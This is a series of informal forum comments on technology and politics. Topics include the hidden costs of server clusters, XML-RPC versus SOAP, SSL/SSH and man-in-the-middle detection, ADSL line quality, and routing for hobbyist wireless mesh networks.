-power costs money, believe it or not.
-so does rack-space.
-so do IPs... unless you're gonna NAT your little cluster, in which case you need to set up a NATing router for them... and that's another single point of failure unless you wanna shell out $$$ of one form another (again: buy/develop/implement).
-you're probably gonna need some sort of KVM switch.
I could go on, but I don't want to. Anyway, the point is that it is more complicated than many of the lot in this particular audience are likely to make out. It is often still the best route (and increasingly so!), but you can't just say that the answer is *always* to buy more, cheaper machines. There are many things to consider.
Also, how seriously are we supposed to consider an article about the future of web technologies when the guy can't (sic) even figure out how to properly escape his apostrohpes.
I mean really!
No, joking aside, its remarkable the extent to which this is all just unmitigated editorializing without the slightest good reasoning to back it up. Not to mention that I pretty strongly disagree with the notion that "RPC is bad". If anything, I'd actually go as far as to say that I think that SOAP is far too often overkill. If XML-RPC gets the job done, then why resort to all that heavy, unmanageable garbage?
No, as the user mentioned, SSL (including HTTPS) and SSH aren't going to be spoofed (at least not transparently) because of the server key fingerprint, or certificate. These methods make "man in the middle" attacks detectable, and by default won't allow man-in-the-middled connections.
QGP "complete speculation" in 2000?!?!? I was learning about it in courses in 1999, where it was discussed as all but fact. I mean, just because something has yet to be detected doesn't mean that the scientific comunity doesn't accept its probable eventuality. There's nothing in the theory that seems outlandish, apart from the incredibly high energy you need to produce it, and the difficulty in detecting something so new and short-lived.
Well, the world is full of hypocrites, yes. I think that the original poster (although grossly inflamatory) was sort of on target, though, about the absurd hypocricy that seems to plague the liberal-rich. Look at how popular enormous SUVs are among the loud-mouthedly liberal Hollywood types, for example. Truth is, it's kind of obvious that being liberal and being rich sort of don't mesh particularly well, though.
Exactly! That's why it's so damn frustrating to have the world of politics forcibly coerced onto this assinine 1 dimensional spectrum, with liberalness at one end and conservativism at the other. There are so many different, orthogonal dimensions of political opinion. Most Americans tend to be "conservative" about one thing and "liberal" about another... we end up (largely) having to align ourselves along that axis by primarily whichever aspect we consider the most fundamental. Economics, personal rights, scale of government power, foreign policy, public works, entitlements? It's as much an issue of which of these (or other) axes you consider defines your *overall* political alignment, as it is a question of how you feel on any particular issue.
Ah... interesting stuff, similar in a lot of ways, but not exactly what I meant (I was very brief). This sort of thing is interesting when thinking about the poster's hypothetical end-state ubiquitous wireless network. There's a lot of focus in that protocol on router discovery and so on. Good for a situation in which many people are using a common medium (the airwaves) and looking for other routers on that shared medium.
What I was getting at was more the question of constructing best routing tables a situation like this: Imagine several (hobbiest) households which each have their own broadband internet access, a router, and some number of point-to-point wireless links (802.11 pringles cans, let say... or maybe 802.16 later on) interconnecting one another. Each of these folks has potentially different network providers... so it is conceivable that the best path from any one of these nodes to any particular site on the net is via its own broadband uplink, or perhaps via his neighbor's, or perhaps his neighbor's neighbor's.
In essence, it's a genuine mesh network, interleaved with another general network (actually a hierarchical network)... but all of the modern routing protocols currently in use, like BGP, OSPF, and IGRP are based on hierarchical network topologies. It's the combination of a mesh network and the additional "real internet" network bolted onto it in different places which is a fairly new problem space (to the best of my understanding).
Anyway, I should read more on this RSPF, in case I missed the point skimming over it.
I always thought that was weird. Modems are so slow because they have to use the crappy phone lines, but ADSL is fast because it uses the same crappy phone lines? Ok
:-D
ADSL doesn't use just any phone lines. I think that less than half of the houses in the US are wired with high enough quality lines to support DSL. Also, the drop-off of bandwidth as a function of distance from the phone company's substation is pretty rapid. If you live in even a fairly spread-out suburb, chances are you can get crap DSL at best, let alone semi-rural or full-blown rural areas. Oh, and when I say "phone lines" I don't just mean the twisted pair running into your wall (although the physical wire quality is part of it), I'm talking about the various switching hardware upstream, too. Do you think that Podunkville doesn't have DSL available yet just because the phone companies are jerks? No, it's because it's an expensive investment for them to upgrade their "lines" to provide DSL.
So, no, ADSL doesn't use "the same crappy phone lines"... it uses different, not-as-crappy phone lines.
Also I put "broadband" in quotes because it's not entirely a very well defined term. (Yes, I know that there have been a few things attempting to define the term in various places... even a lawsuit over the use of the term, but it's not settled yet.) You can call pretty much anything from 128k up "broadband", but its really not in the same ballpark as 512k or 1M (or possible higher, with various new technologies like 802.16 MAN).
Besides, all that said, I consider your ADSL (via phone lines) slow because I have a cable modem.
Well, there are limits to the capability of compression, and the phone lines are, ultimately, just not as good as "broadband" last mile solutions.
Also, there's more to life than searching the web. I, for one, do a lot of work from home, and although a cable modem is decent, it sure would be easier to work remotely with higher-speed, lower-latency connectivity. More people could run their own web/ftp/whatever servers out of their homes.
So, yeah, it does meen making use of the existing (paid for) network first. How does that work? Well, first of all, everyone with a wireless link starts routing to all there peers (or at least, the early adopters build pringes can links to other early adopters), and shares their uplinks (free of charge).
The thing standing in the way of that happening (I've put a lot of thought into this already, myself) is the lack of a suitable dynamic routing protocol for these routers... how do you get these wireless mesh nodes with uplinks to the *real* internet to properly route and make good use of those uplinks? Currently no dynamic routing protocol is designed for such a task.